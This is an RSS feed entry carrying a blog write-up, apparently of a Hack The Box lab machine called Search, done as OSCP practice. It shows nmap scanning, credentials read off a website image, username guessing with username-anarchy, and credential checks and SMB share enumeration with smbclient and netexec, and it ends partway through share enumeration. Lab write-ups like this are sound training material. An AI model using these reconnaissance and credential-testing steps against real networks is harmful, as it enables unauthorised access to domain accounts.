<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[x401a Blog]]></title><description><![CDATA[<meta name="impact-site-verification" content="9721c705-2160-4748-8335-a37e4a679806">]]></description><link>https://x401a.hashnode.dev</link><generator>RSS for Node</generator><lastBuildDate>Wed, 09 Sep 2026 17:02:34 GMT</lastBuildDate><atom:link href="https://x401a.hashnode.dev/rss.xml" rel="self" type="application/rss+xml"/><language><![CDATA[en]]></language><ttl>60</ttl><item><title><![CDATA[🔥 "Hunting for Domain Admin: Kerberoasting, Credential Spraying, and AD Pivoting in Search" 🔥]]></title><description><![CDATA[We began by doing an nmap scan of the machine using the command:
result=$(nmap -p- --min-rate=1000 -Pn  -T4 10.129.229.114   | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed 's/,$//' | tr -d '%');nmap -p$result -Pn  
-sC -sV 10.129.229.114   -oA...]]></description><link>https://x401a.hashnode.dev/hunting-for-domain-admin-kerberoasting-credential-spraying-and-ad-pivoting-in-search</link><guid isPermaLink="true">https://x401a.hashnode.dev/hunting-for-domain-admin-kerberoasting-credential-spraying-and-ad-pivoting-in-search</guid><category><![CDATA[#bypass-av]]></category><category><![CDATA[kerberoasting]]></category><category><![CDATA[Kerberos attacks]]></category><category><![CDATA[Active Directory]]></category><category><![CDATA[hacking]]></category><category><![CDATA[redteaming]]></category><category><![CDATA[Access Control Lists (ACLs)]]></category><dc:creator><![CDATA[Isayar17]]></dc:creator><pubDate>Sat, 08 Mar 2025 14:49:07 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1741433957377/a3271e67-4108-4034-ab48-76e7edf1b2ff.webp" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>We began by doing an <code>nmap</code> scan of the machine using the command:</p>
<pre><code class="lang-css"><span class="hljs-selector-tag">result</span>=$(<span class="hljs-selector-tag">nmap</span> <span class="hljs-selector-tag">-p-</span> <span class="hljs-selector-tag">--min-rate</span>=1000 <span class="hljs-selector-tag">-Pn</span>  <span class="hljs-selector-tag">-T4</span> 10<span class="hljs-selector-class">.129</span><span class="hljs-selector-class">.229</span><span class="hljs-selector-class">.114</span>   | <span class="hljs-selector-tag">grep</span> '^<span class="hljs-selector-attr">[0-9]</span>' | <span class="hljs-selector-tag">cut</span> <span class="hljs-selector-tag">-d</span> '/' <span class="hljs-selector-tag">-f</span> 1 | <span class="hljs-selector-tag">tr</span> '\<span class="hljs-selector-tag">n</span>' ',' | <span class="hljs-selector-tag">sed</span> '<span class="hljs-selector-tag">s</span>/,$//' | <span class="hljs-selector-tag">tr</span> <span class="hljs-selector-tag">-d</span> '%');<span class="hljs-selector-tag">nmap</span> <span class="hljs-selector-tag">-p</span>$<span class="hljs-selector-tag">result</span> <span class="hljs-selector-tag">-Pn</span>  
<span class="hljs-selector-tag">-sC</span> <span class="hljs-selector-tag">-sV</span> 10<span class="hljs-selector-class">.129</span><span class="hljs-selector-class">.229</span><span class="hljs-selector-class">.114</span>   <span class="hljs-selector-tag">-oA</span> <span class="hljs-selector-tag">search</span>
</code></pre>
<p>Got the results of the <code>nmap</code> scan as:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1741434637811/4d92f4f8-437d-4a07-8094-bbc3034b70af.png" alt class="image--center mx-auto" /></p>
<pre><code class="lang-css"><span class="hljs-selector-tag">Nmap</span> 7<span class="hljs-selector-class">.94SVN</span> <span class="hljs-selector-tag">scan</span> <span class="hljs-selector-tag">initiated</span> <span class="hljs-selector-tag">Wed</span> <span class="hljs-selector-tag">Aug</span> 28 15<span class="hljs-selector-pseudo">:51</span><span class="hljs-selector-pseudo">:39</span> 2024 <span class="hljs-selector-tag">as</span>: <span class="hljs-selector-tag">nmap</span> <span class="hljs-selector-tag">-p53</span>,80,88,135,139,389,443,445,464,593,636,3268,3269,8172,9389,49667,49675,49676,49702,49716 <span class="hljs-selector-tag">-Pn</span> <span class="hljs-selector-tag">-sC</span> <span class="hljs-selector-tag">-</span>  
<span class="hljs-selector-tag">sV</span> <span class="hljs-selector-tag">-oA</span> <span class="hljs-selector-tag">search</span> 10<span class="hljs-selector-class">.10</span><span class="hljs-selector-class">.11</span><span class="hljs-selector-class">.129</span>  
<span class="hljs-selector-tag">Nmap</span> <span class="hljs-selector-tag">scan</span> <span class="hljs-selector-tag">report</span> <span class="hljs-selector-tag">for</span> 10<span class="hljs-selector-class">.10</span><span class="hljs-selector-class">.11</span><span class="hljs-selector-class">.129</span>  
<span class="hljs-selector-tag">Host</span> <span class="hljs-selector-tag">is</span> <span class="hljs-selector-tag">up</span> (0<span class="hljs-selector-class">.59s</span> <span class="hljs-selector-tag">latency</span>).  

<span class="hljs-selector-tag">PORT</span>      <span class="hljs-selector-tag">STATE</span> <span class="hljs-selector-tag">SERVICE</span>           <span class="hljs-selector-tag">VERSION</span>  
53/<span class="hljs-selector-tag">tcp</span>    <span class="hljs-selector-tag">open</span>  <span class="hljs-selector-tag">domain</span>            <span class="hljs-selector-tag">Simple</span> <span class="hljs-selector-tag">DNS</span> <span class="hljs-selector-tag">Plus</span>  
80/<span class="hljs-selector-tag">tcp</span>    <span class="hljs-selector-tag">open</span>  <span class="hljs-selector-tag">http</span>              <span class="hljs-selector-tag">Microsoft</span> <span class="hljs-selector-tag">IIS</span> <span class="hljs-selector-tag">httpd</span> 10<span class="hljs-selector-class">.0</span>  
88/<span class="hljs-selector-tag">tcp</span>    <span class="hljs-selector-tag">open</span>  <span class="hljs-selector-tag">kerberos-sec</span>      <span class="hljs-selector-tag">Microsoft</span> <span class="hljs-selector-tag">Windows</span> <span class="hljs-selector-tag">Kerberos</span> (<span class="hljs-selector-tag">server</span> <span class="hljs-selector-tag">time</span>: 2024<span class="hljs-selector-tag">-08-28</span> 12<span class="hljs-selector-pseudo">:52</span><span class="hljs-selector-pseudo">:03Z)</span>  
135/<span class="hljs-selector-tag">tcp</span>   <span class="hljs-selector-tag">open</span>  <span class="hljs-selector-tag">msrpc</span>             <span class="hljs-selector-tag">Microsoft</span> <span class="hljs-selector-tag">Windows</span> <span class="hljs-selector-tag">RPC</span>  
139/<span class="hljs-selector-tag">tcp</span>   <span class="hljs-selector-tag">open</span>  <span class="hljs-selector-tag">netbios-ssn</span>       <span class="hljs-selector-tag">Microsoft</span> <span class="hljs-selector-tag">Windows</span> <span class="hljs-selector-tag">netbios-ssn</span>  
389/<span class="hljs-selector-tag">tcp</span>   <span class="hljs-selector-tag">open</span>  <span class="hljs-selector-tag">ldap</span>              <span class="hljs-selector-tag">Microsoft</span> <span class="hljs-selector-tag">Windows</span> <span class="hljs-selector-tag">Active</span> <span class="hljs-selector-tag">Directory</span> <span class="hljs-selector-tag">LDAP</span> (<span class="hljs-selector-tag">Domain</span>: <span class="hljs-selector-tag">search</span><span class="hljs-selector-class">.htb0</span>., <span class="hljs-selector-tag">Site</span>: <span class="hljs-selector-tag">Default-First-Site-Name</span>)  
| <span class="hljs-selector-tag">ssl-cert</span>: <span class="hljs-selector-tag">Subject</span>: <span class="hljs-selector-tag">commonName</span>=<span class="hljs-selector-tag">research</span>  
| <span class="hljs-selector-tag">Not</span> <span class="hljs-selector-tag">valid</span> <span class="hljs-selector-tag">before</span>: 2020<span class="hljs-selector-tag">-08-11T08</span><span class="hljs-selector-pseudo">:13</span><span class="hljs-selector-pseudo">:35</span>  
|￼￼<span class="hljs-selector-tag">Not</span> <span class="hljs-selector-tag">valid</span> <span class="hljs-selector-tag">after</span>:  2030<span class="hljs-selector-tag">-08-09T08</span><span class="hljs-selector-pseudo">:13</span><span class="hljs-selector-pseudo">:35</span>  
|_<span class="hljs-selector-tag">ssl-date</span>: 2024<span class="hljs-selector-tag">-08-28T12</span><span class="hljs-selector-pseudo">:53</span><span class="hljs-selector-pseudo">:45+00</span><span class="hljs-selector-pseudo">:00</span>; <span class="hljs-selector-tag">-3s</span> <span class="hljs-selector-tag">from</span> <span class="hljs-selector-tag">scanner</span> <span class="hljs-selector-tag">time</span>.  
443/<span class="hljs-selector-tag">tcp</span>   <span class="hljs-selector-tag">open</span>  <span class="hljs-selector-tag">ssl</span>/<span class="hljs-selector-tag">http</span>          <span class="hljs-selector-tag">Microsoft</span> <span class="hljs-selector-tag">IIS</span> <span class="hljs-selector-tag">httpd</span> 10<span class="hljs-selector-class">.0</span>  
| <span class="hljs-selector-tag">ssl-cert</span>: <span class="hljs-selector-tag">Subject</span>: <span class="hljs-selector-tag">commonName</span>=<span class="hljs-selector-tag">research</span>  
| <span class="hljs-selector-tag">Not</span> <span class="hljs-selector-tag">valid</span> <span class="hljs-selector-tag">before</span>: 2020<span class="hljs-selector-tag">-08-11T08</span><span class="hljs-selector-pseudo">:13</span><span class="hljs-selector-pseudo">:35</span>  
|_<span class="hljs-selector-tag">Not</span> <span class="hljs-selector-tag">valid</span> <span class="hljs-selector-tag">after</span>:  2030<span class="hljs-selector-tag">-08-09T08</span><span class="hljs-selector-pseudo">:13</span><span class="hljs-selector-pseudo">:35</span>  
445/<span class="hljs-selector-tag">tcp</span>   <span class="hljs-selector-tag">open</span>  <span class="hljs-selector-tag">microsoft-ds</span>?  
464/<span class="hljs-selector-tag">tcp</span>   <span class="hljs-selector-tag">open</span>  <span class="hljs-selector-tag">kpasswd5</span>?  
593/<span class="hljs-selector-tag">tcp</span>   <span class="hljs-selector-tag">open</span>  <span class="hljs-selector-tag">ncacn_http</span>        <span class="hljs-selector-tag">Microsoft</span> <span class="hljs-selector-tag">Windows</span> <span class="hljs-selector-tag">RPC</span> <span class="hljs-selector-tag">over</span> <span class="hljs-selector-tag">HTTP</span> 1<span class="hljs-selector-class">.0</span>  
636/<span class="hljs-selector-tag">tcp</span>   <span class="hljs-selector-tag">open</span>  <span class="hljs-selector-tag">ssl</span>/<span class="hljs-selector-tag">ldap</span>          <span class="hljs-selector-tag">Microsoft</span> <span class="hljs-selector-tag">Windows</span> <span class="hljs-selector-tag">Active</span> <span class="hljs-selector-tag">Directory</span> <span class="hljs-selector-tag">LDAP</span> (<span class="hljs-selector-tag">Domain</span>: <span class="hljs-selector-tag">search</span><span class="hljs-selector-class">.htb0</span>., <span class="hljs-selector-tag">Site</span>: <span class="hljs-selector-tag">Default-First-Site-Name</span>)  
| <span class="hljs-selector-tag">ssl-cert</span>: <span class="hljs-selector-tag">Subject</span>: <span class="hljs-selector-tag">commonName</span>=<span class="hljs-selector-tag">research</span>  
| <span class="hljs-selector-tag">Not</span> <span class="hljs-selector-tag">valid</span> <span class="hljs-selector-tag">before</span>: 2020<span class="hljs-selector-tag">-08-11T08</span><span class="hljs-selector-pseudo">:13</span><span class="hljs-selector-pseudo">:35</span>  
|_<span class="hljs-selector-tag">Not</span> <span class="hljs-selector-tag">valid</span> <span class="hljs-selector-tag">after</span>:  2030<span class="hljs-selector-tag">-08-09T08</span><span class="hljs-selector-pseudo">:13</span><span class="hljs-selector-pseudo">:35</span>  
3268/<span class="hljs-selector-tag">tcp</span>  <span class="hljs-selector-tag">open</span>  <span class="hljs-selector-tag">ldap</span>              <span class="hljs-selector-tag">Microsoft</span> <span class="hljs-selector-tag">Windows</span> <span class="hljs-selector-tag">Active</span> <span class="hljs-selector-tag">Directory</span> <span class="hljs-selector-tag">LDAP</span> (<span class="hljs-selector-tag">Domain</span>: <span class="hljs-selector-tag">search</span><span class="hljs-selector-class">.htb0</span>., <span class="hljs-selector-tag">Site</span>: <span class="hljs-selector-tag">Default-First-Site-Name</span>)  
|_<span class="hljs-selector-tag">ssl-date</span>: 2024<span class="hljs-selector-tag">-08-28T12</span><span class="hljs-selector-pseudo">:53</span><span class="hljs-selector-pseudo">:52+00</span><span class="hljs-selector-pseudo">:00</span>; <span class="hljs-selector-tag">-3s</span> <span class="hljs-selector-tag">from</span> <span class="hljs-selector-tag">scanner</span> <span class="hljs-selector-tag">time</span>.  
| <span class="hljs-selector-tag">ssl-cert</span>: <span class="hljs-selector-tag">Subject</span>: <span class="hljs-selector-tag">commonName</span>=<span class="hljs-selector-tag">research</span>  
| <span class="hljs-selector-tag">Not</span> <span class="hljs-selector-tag">valid</span> <span class="hljs-selector-tag">before</span>: 2020<span class="hljs-selector-tag">-08-11T08</span><span class="hljs-selector-pseudo">:13</span><span class="hljs-selector-pseudo">:35</span>  
|_<span class="hljs-selector-tag">Not</span> <span class="hljs-selector-tag">valid</span> <span class="hljs-selector-tag">after</span>:  2030<span class="hljs-selector-tag">-08-09T08</span><span class="hljs-selector-pseudo">:13</span><span class="hljs-selector-pseudo">:35</span>  
3269/<span class="hljs-selector-tag">tcp</span>  <span class="hljs-selector-tag">open</span>  <span class="hljs-selector-tag">globalcatLDAPssl</span>?  
| <span class="hljs-selector-tag">ssl-cert</span>: <span class="hljs-selector-tag">Subject</span>: <span class="hljs-selector-tag">commonName</span>=<span class="hljs-selector-tag">research</span>  
| <span class="hljs-selector-tag">Not</span> <span class="hljs-selector-tag">valid</span> <span class="hljs-selector-tag">before</span>: 2020<span class="hljs-selector-tag">-08-11T08</span><span class="hljs-selector-pseudo">:13</span><span class="hljs-selector-pseudo">:35</span>  
|_<span class="hljs-selector-tag">Not</span> <span class="hljs-selector-tag">valid</span> <span class="hljs-selector-tag">after</span>:  2030<span class="hljs-selector-tag">-08-09T08</span><span class="hljs-selector-pseudo">:13</span><span class="hljs-selector-pseudo">:35</span>  
|_<span class="hljs-selector-tag">ssl-date</span>: 2024<span class="hljs-selector-tag">-08-28T12</span><span class="hljs-selector-pseudo">:53</span><span class="hljs-selector-pseudo">:39+00</span><span class="hljs-selector-pseudo">:00</span>; 0<span class="hljs-selector-tag">s</span> <span class="hljs-selector-tag">from</span> <span class="hljs-selector-tag">scanner</span> <span class="hljs-selector-tag">time</span>.  
8172/<span class="hljs-selector-tag">tcp</span>  <span class="hljs-selector-tag">open</span>  <span class="hljs-selector-tag">unknown</span>  
9389/<span class="hljs-selector-tag">tcp</span>  <span class="hljs-selector-tag">open</span>  <span class="hljs-selector-tag">mc-nmf</span>            <span class="hljs-selector-class">.NET</span> <span class="hljs-selector-tag">Message</span> <span class="hljs-selector-tag">Framing</span>  
49667/<span class="hljs-selector-tag">tcp</span> <span class="hljs-selector-tag">open</span>  <span class="hljs-selector-tag">unknown</span>  
49675/<span class="hljs-selector-tag">tcp</span> <span class="hljs-selector-tag">open</span>  <span class="hljs-selector-tag">ncacn_http</span>        <span class="hljs-selector-tag">Microsoft</span> <span class="hljs-selector-tag">Windows</span> <span class="hljs-selector-tag">RPC</span> <span class="hljs-selector-tag">over</span> <span class="hljs-selector-tag">HTTP</span> 1<span class="hljs-selector-class">.0</span>  
49676/<span class="hljs-selector-tag">tcp</span> <span class="hljs-selector-tag">open</span>  <span class="hljs-selector-tag">unknown</span>  
49702/<span class="hljs-selector-tag">tcp</span> <span class="hljs-selector-tag">open</span>  <span class="hljs-selector-tag">unknown</span>  
49716/<span class="hljs-selector-tag">tcp</span> <span class="hljs-selector-tag">open</span>  <span class="hljs-selector-tag">unknown</span>  
<span class="hljs-selector-tag">Service</span> <span class="hljs-selector-tag">Info</span>: <span class="hljs-selector-tag">Host</span>: <span class="hljs-selector-tag">RESEARCH</span>; <span class="hljs-selector-tag">OS</span>: <span class="hljs-selector-tag">Windows</span>; <span class="hljs-selector-tag">CPE</span>: <span class="hljs-selector-tag">cpe</span>:/<span class="hljs-selector-tag">o</span><span class="hljs-selector-pseudo">:microsoft</span><span class="hljs-selector-pseudo">:windows</span>  

<span class="hljs-selector-tag">Host</span> <span class="hljs-selector-tag">script</span> <span class="hljs-selector-tag">results</span>:  
|￼￼<span class="hljs-selector-tag">clock-skew</span>: <span class="hljs-selector-tag">mean</span>: <span class="hljs-selector-tag">-2s</span>, <span class="hljs-selector-tag">deviation</span>: 1<span class="hljs-selector-tag">s</span>, <span class="hljs-selector-tag">median</span>: <span class="hljs-selector-tag">-3s</span>  
|_<span class="hljs-selector-tag">smb2-time</span>: <span class="hljs-selector-tag">Protocol</span> <span class="hljs-selector-tag">negotiation</span> <span class="hljs-selector-tag">failed</span> (<span class="hljs-selector-tag">SMB2</span>)  

<span class="hljs-selector-tag">Service</span> <span class="hljs-selector-tag">detection</span> <span class="hljs-selector-tag">performed</span>. <span class="hljs-selector-tag">Please</span> <span class="hljs-selector-tag">report</span> <span class="hljs-selector-tag">any</span> <span class="hljs-selector-tag">incorrect</span> <span class="hljs-selector-tag">results</span> <span class="hljs-selector-tag">at</span> <span class="hljs-selector-tag">https</span>://<span class="hljs-selector-tag">nmap</span><span class="hljs-selector-class">.org</span>/<span class="hljs-selector-tag">submit</span>/ .  
# <span class="hljs-selector-tag">Nmap</span> <span class="hljs-selector-tag">done</span> <span class="hljs-selector-tag">at</span> <span class="hljs-selector-tag">Wed</span> <span class="hljs-selector-tag">Aug</span> 28 15<span class="hljs-selector-pseudo">:54</span><span class="hljs-selector-pseudo">:00</span> 2024 <span class="hljs-selector-tag">--</span> 1 <span class="hljs-selector-tag">IP</span> <span class="hljs-selector-tag">address</span> (1 <span class="hljs-selector-tag">host</span> <span class="hljs-selector-tag">up</span>) <span class="hljs-selector-tag">scanned</span> <span class="hljs-selector-tag">in</span> 140<span class="hljs-selector-class">.49</span> <span class="hljs-selector-tag">seconds</span>
</code></pre>
<p>Well the <code>nmap</code> command does this:</p>
<p>This script is a combination of two <code>nmap</code> commands, the first <code>nmap</code> command in this script scans all 65,535 possible network ports on the target computer with the IP address <code>10.129.171.71</code> . It scans quickly checking about 1,000 ports per second, and it doesn't bother with looking up host names ( <code>-Pn</code>). The main goal of the scan is to figure out the ports that are open and accessible.</p>
<p>The output of the first <code>nmap</code> command is the piped <code>|</code> into a series of text processing commands:</p>
<p><code>grep '^[0-9]'</code> filters the lines that start with a number. This is used to isolate the lines containing port numbers.</p>
<p><code>cut -d '/' -f 1</code> splits each line at the '/' character and keeps only the first field, which represents the port number. This separates the port number from additional information.</p>
<p><code>tr '\n' ','</code> replaces newline characters with commas, effectively creating a comma-separated list of open ports.</p>
<p><code>sed 's/,$//'</code> removes the trailing comma at the end of the list.</p>
<p><code>tr -d '%'</code> removes any '%' characters in case there are any in the list</p>
<p>The second <code>nmap</code> command is executed by scanning the ports specified in the <code>result</code> variable. It performs a service and version detection <code>-sC -sV</code> and the output is saved to a set of files with the prefix search.</p>
<p>We then check out port 80... by just pasting the ip in the web browser</p>
<p>We get a wonderful looking webpage.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1741434952591/d303ab0d-83a7-47fe-a376-9af73574c608.png" alt class="image--center mx-auto" /></p>
<p>Checking it out we find an image slide that seems to have critical information... credentials to be precise that might come in handy the slides are in the <em>Our Features</em> section.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1741435021124/98db4109-e063-4ae6-a631-948c9380d409.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1741435324853/fcbebdb5-bcfc-4d83-890f-755d8ee737b8.jpeg" alt class="image--center mx-auto" /></p>
<p>On closer inspection we see the line:</p>
<p><em>send password to Hope Sharp</em></p>
<p><em>IsolationIsKey?</em></p>
<p>We got credentials from the image. I know sounds unreal… but its just initial access credentials that we can use to further do our enumeration 😂.</p>
<p>The credentials are:</p>
<pre><code class="lang-css"><span class="hljs-selector-tag">User</span><span class="hljs-selector-pseudo">:Hope</span> <span class="hljs-selector-tag">Sharp</span>
<span class="hljs-selector-tag">Password</span><span class="hljs-selector-pseudo">:IsolationIsKey</span>?
</code></pre>
<p>I added <code>10.129.171.71 search.htb</code> to the <code>/etc/hosts</code> file so that my system resolves to that ip address when i do my enumeration. I used the command:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1741437502197/62de02e5-49ae-46aa-922d-0015a7abfaac.png" alt class="image--center mx-auto" /></p>
<pre><code class="lang-css"><span class="hljs-selector-tag">echo</span> "10<span class="hljs-selector-class">.129</span><span class="hljs-selector-class">.171</span><span class="hljs-selector-class">.71</span> <span class="hljs-selector-tag">search</span><span class="hljs-selector-class">.htb</span>" | <span class="hljs-selector-tag">sudo</span> <span class="hljs-selector-tag">tee</span> <span class="hljs-selector-tag">-a</span> /<span class="hljs-selector-tag">etc</span>/<span class="hljs-selector-tag">hosts</span>
</code></pre>
<p>Then I did a directory enumeration using <code>gobuster</code> and found an interesting directory <code>/staff</code>.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1741436602183/75cec76f-3021-4138-adf6-ee0f0c09778f.png" alt class="image--center mx-auto" /></p>
<p>Unfortunately its inaccessible we got a 403 error when we tried to access it.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1741436623837/234ca4c8-f0ad-42b5-9d40-684df16f7702.png" alt class="image--center mx-auto" /></p>
<p>Since this is Active Directory based on the results that we got from the scan... i.e port 88 is Kerberos and it shows that Kerberos authentication is happening within. We have to get a username that we can use to test for authentication in the domain services like smb ,winrm based on the credentials that we got and for that we can use a tool called <code>username-anarchy</code>(<a target="_blank" href="https://github.com/urbanadventurer/username-anarchy.git">https://github.com/urbanadventurer/username-anarchy.git</a>) to generate potential usernames that we can use to conduct our enumeration.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1741437104519/5dc2e655-36fd-44fb-bf17-c63088e208a1.png" alt class="image--center mx-auto" /></p>
<p>Used the command:</p>
<pre><code class="lang-css">./<span class="hljs-selector-tag">username-anarchy</span> <span class="hljs-selector-tag">Hope</span> <span class="hljs-selector-tag">Sharp</span>  <span class="hljs-selector-tag">--select-format</span> <span class="hljs-selector-tag">first</span>,<span class="hljs-selector-tag">first</span><span class="hljs-selector-class">.last</span>,<span class="hljs-selector-tag">first1</span>,<span class="hljs-selector-tag">flast</span>
</code></pre>
<p>It will use our selected format using the first and last name to try and make then username we will use to authenticate. We got the results as:</p>
<pre><code class="lang-css"><span class="hljs-selector-tag">hope</span>  
<span class="hljs-selector-tag">hope</span><span class="hljs-selector-class">.sharp</span>  
<span class="hljs-selector-tag">hsharp</span>
</code></pre>
<p>We haven't done enumeration on ports like port 445 which might be really crucial we do so anonymously to see first of all if it accepts anonymous login.</p>
<p>Looks like there is anonymous login though we don't get to see the shares:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1741437303193/fd8eaf5d-90e9-43a4-8ba7-fcff24a2a33f.png" alt class="image--center mx-auto" /></p>
<pre><code class="lang-css"><span class="hljs-selector-tag">isayar17_x401a</span><span class="hljs-keyword">@t0mcr00s3</span>  ~/OSCP/HTB/OSCP_Labs/search  smbclient -L //<span class="hljs-number">10.10</span>.<span class="hljs-number">11.129</span>/ -N  
Anonymous login successful  

       Sharename       Type      Comment  
       ---------       ----      -------  
Reconnecting with SMB1 for workgroup listing.  
do_<span class="hljs-attribute">connect:</span> Connection to <span class="hljs-number">10.10</span>.<span class="hljs-number">11.129</span> failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)  
Unable to connect with SMB1 -- no workgroup available
</code></pre>
<p>Now lets use <code>netexec</code> a tool that works similar to <code>crackmapexec</code> to enumerate <code>smb</code> using the credentials we have... we are not that sure though if the credentials actually work and yet from the list of usernames obtained from <code>username-anarchy</code> we have not checked to see which one actually works. So lets do so as well:</p>
<p>Now using the command</p>
<pre><code class="lang-css"><span class="hljs-selector-tag">netexec</span> <span class="hljs-selector-tag">smb</span>  <span class="hljs-selector-tag">-d</span> <span class="hljs-selector-tag">search</span><span class="hljs-selector-class">.htb</span> <span class="hljs-selector-tag">-dc</span> <span class="hljs-selector-tag">search</span><span class="hljs-selector-class">.htb</span> <span class="hljs-selector-tag">-u</span> &lt;<span class="hljs-selector-tag">username</span>&gt; <span class="hljs-selector-tag">-p</span> &lt;<span class="hljs-selector-tag">password</span>&gt;
</code></pre>
<p>We test out the usernames that we got...</p>
<p>The tags in the command have the meaning as:</p>
<pre><code class="lang-css"><span class="hljs-selector-tag">-d</span> <span class="hljs-selector-tag">-</span>&gt; <span class="hljs-selector-tag">specifies</span> <span class="hljs-selector-tag">the</span> <span class="hljs-selector-tag">domain</span> <span class="hljs-selector-tag">name</span>
<span class="hljs-selector-tag">-dc</span> <span class="hljs-selector-tag">-</span>&gt; <span class="hljs-selector-tag">specifies</span> <span class="hljs-selector-tag">the</span> <span class="hljs-selector-tag">domain</span> <span class="hljs-selector-tag">controller</span> <span class="hljs-selector-tag">name</span>
<span class="hljs-selector-tag">-u</span> <span class="hljs-selector-tag">-</span>&gt; <span class="hljs-selector-tag">the</span> <span class="hljs-selector-tag">username</span>
<span class="hljs-selector-tag">-p</span> <span class="hljs-selector-tag">-</span>&gt; <span class="hljs-selector-tag">the</span> <span class="hljs-selector-tag">password</span>
</code></pre>
<p>I used the same domain name <code>search.htb</code> because the name <code>search.htb</code> resolves to the ip address <code>10.10.11.129</code> and based on the ports open on that ip am suspecting it might probably be a domain controller.</p>
<p>So trying all three of them we see that the username <a target="_blank" href="http://hope.sharp"><code>hope.sharp</code></a> works.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1741437752349/34e48b64-2152-443d-bb28-bc8807f66c0a.png" alt class="image--center mx-auto" /></p>
<p>With this breakthrough we can now enumerate smb shares by adding the <code>--shares</code> tag which will use the credentials that we have specified to check the shares that we can see and the permissions that we have on the shares</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1741437864379/83fd5fd7-1807-429f-ad0d-7c1aef07c637.png" alt class="image--center mx-auto" /></p>
<p>So now lets try and access the shares that are available on the machine.</p>
<p>We begin with <code>CertEnroll</code> Inside <code>CertEnroll</code> we get to see some interesting files.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1741437966912/027d7b1b-9775-4757-afad-6ee499058b0c.png" alt class="image--center mx-auto" /></p>
<pre><code class="lang-css">​￼<span class="hljs-selector-tag">smb</span>: \&gt; <span class="hljs-selector-tag">dir</span>  
 .                                  <span class="hljs-selector-tag">Dc</span>        0  <span class="hljs-selector-tag">Sat</span> <span class="hljs-selector-tag">Aug</span> 31 08<span class="hljs-selector-pseudo">:09</span><span class="hljs-selector-pseudo">:37</span> 2024  
 ..                                 <span class="hljs-selector-tag">Dc</span>        0  <span class="hljs-selector-tag">Sat</span> <span class="hljs-selector-tag">Aug</span> 31 08<span class="hljs-selector-pseudo">:09</span><span class="hljs-selector-pseudo">:37</span> 2024  
 <span class="hljs-selector-tag">nsrev_search-RESEARCH-CA</span><span class="hljs-selector-class">.asp</span>       <span class="hljs-selector-tag">Ac</span>      330  <span class="hljs-selector-tag">Tue</span> <span class="hljs-selector-tag">Apr</span>  7 10<span class="hljs-selector-pseudo">:29</span><span class="hljs-selector-pseudo">:31</span> 2020  
 <span class="hljs-selector-tag">Research</span><span class="hljs-selector-class">.search</span><span class="hljs-selector-class">.htb_search-RESEARCH-CA</span><span class="hljs-selector-class">.crt</span>     <span class="hljs-selector-tag">Ac</span>      883  <span class="hljs-selector-tag">Tue</span> <span class="hljs-selector-tag">Apr</span>  7 10<span class="hljs-selector-pseudo">:29</span><span class="hljs-selector-pseudo">:29</span> 2020  
 <span class="hljs-selector-tag">search-RESEARCH-CA</span>+<span class="hljs-selector-class">.crl</span>            <span class="hljs-selector-tag">Ac</span>      735  <span class="hljs-selector-tag">Sat</span> <span class="hljs-selector-tag">Aug</span> 31 08<span class="hljs-selector-pseudo">:09</span><span class="hljs-selector-pseudo">:37</span> 2024  
 ​<span class="hljs-selector-tag">search-RESEARCH-CA</span><span class="hljs-selector-class">.crl</span>             <span class="hljs-selector-tag">Ac</span>      931  <span class="hljs-selector-tag">Fri</span> <span class="hljs-selector-tag">Aug</span> 30 08<span class="hljs-selector-pseudo">:09</span><span class="hljs-selector-pseudo">:25</span> 2024  

               3246079 <span class="hljs-selector-tag">blocks</span> <span class="hljs-selector-tag">of</span> <span class="hljs-selector-tag">size</span> 4096. 763010 <span class="hljs-selector-tag">blocks</span> <span class="hljs-selector-tag">available</span>  
<span class="hljs-selector-tag">smb</span>: \&gt;
</code></pre>
<p>We check the first file which is an asp file... it handles a request that checks the validity of a certificate against a certificate authority(CA). Inside the file we find domain name <code>research.search.htb</code> in the file its setup as an identifier for a Certificate Authority. The host name <code>Research</code> might be the system in charge.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1741438175374/cef75c2c-8c07-4372-b0b8-36503e32890e.png" alt class="image--center mx-auto" /></p>
<p>The other <code>.crl</code>(Certificate Revocation List) files didn't seem to give us useful information... inside the <code>.crl</code> files we find binary data:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1741438466561/7f5fb027-559f-404e-ae80-a059f73a9675.png" alt class="image--center mx-auto" /></p>
<p>So the gist of what the files may be for is...</p>
<p>We are dealing with a web application that uses a certificate authority(CA) to check the validity of certificates, and the CRL (Certificate Revocation List) files are likely used to revoke certificates that are no longer trusted. What happens is the asp code in <code>nsrev_search-RESEARCH-CA.asp</code> accepts a certificate serial number as input via the URL query string checks it against the CA. It seems like it also looks at the CRL (Certificate Revocation List) files like that one to determine if the certificate has been revoked.</p>
<p>Inside the <code>.asp</code> code we found it contains a function <code>Admin.IsValidCertificate</code> which is checking two key things:</p>
<ol>
<li><p>Is the Certificate Valid? --&gt; Issued by the right CA(<code>research.search.htb\search-RESEARCH-CA</code>, within its validity period and not corrupt).</p>
</li>
<li><p>Is the certificate revoked? --&gt; Not found in the CA's Revocation List.</p>
</li>
</ol>
<p>If the certificate passes both checks the function returns a status(stat = 3) as it is in the code.</p>
<p>Now lets check the other shares</p>
<p><code>IPC$</code></p>
